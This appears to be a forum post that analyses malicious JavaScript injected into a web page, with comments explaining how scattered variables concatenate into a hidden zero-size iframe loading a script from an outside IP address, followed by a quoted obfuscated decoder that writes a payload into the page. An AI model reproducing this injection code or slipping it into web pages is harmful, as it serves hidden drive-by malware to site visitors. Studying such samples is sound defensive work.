
Quote:into the document.<center>Sorry! You IP is blocked.</center>
status=''; // This does nothing
zz='2'; // This begins the part where the
sl='/'; // variables are initialized that
sf='ram'; // will later be concatenated together
pi='9'; // to form the actual strings necessary
po='.'; // |
qu=':'; // |
yh='4'; // |
tr='t.p'; // |
vo='3'; // |
bw='5'; // |
pt='tp'; // |
ab='src'; // |
dg='ht'; // |
ko='e'; // |
wd='if'; // |
ji='hp'; // _|_
hh='1'; // \|/
// V
t=wd.concat(sf,ko); // Concats variables sf and ko to wd. so now t = 'iframe'
xx=dg.concat(pt,qu,sl,sl,hh,pi,yh,po,hh,yh,bw,po,zz,vo,bw,po,vo,yh,sl,tr,ji);
// concats all of those variables to dg to create the string 'http://194.145.235.34/t.php' and stores it in variable xx
var oE=document.createElement(t); // creates an iframe, reference is stored in oE
oE.setAttribute('width','0'); //iframe attributes
oE.setAttribute('height','0'); // more attributes
oE.setAttribute('style','display:none'); //more attributes
oE.setAttribute(ab,xx); // sets the attribute ab (which = 'src') to the value of xx ('http://194.145.235.34/t.php')
document.body.appendChild(oE); //Finally, put the iframe in the body of the document.
<script language=JavaScript>function decipher(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,31,36,14,23,13,34,2,57,42,0,0,0,0,0,0,21,17,6,37,41,12,7,35,10,8,59,60,28,39,16,22,1,3,46,29,25,15,24,11,4,51,56,0,0,0,0,27,0,62,18,20,19,0,48,40,30,9,32,52,33,53,55,49,61,44,26,45,47,38,43,50,5,58,54);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}decipher("xuDoetLke1puzvKm4Y5lxwtwN4IJm4IYO4Zoivqo3QLfWuD6BQKwAQKm_7")</script>
Simply replace the document.write() call with an alert() and run it in your Firebug console (or in the address bar if you prefer) to have the deciphered output alerted for you nice and easy.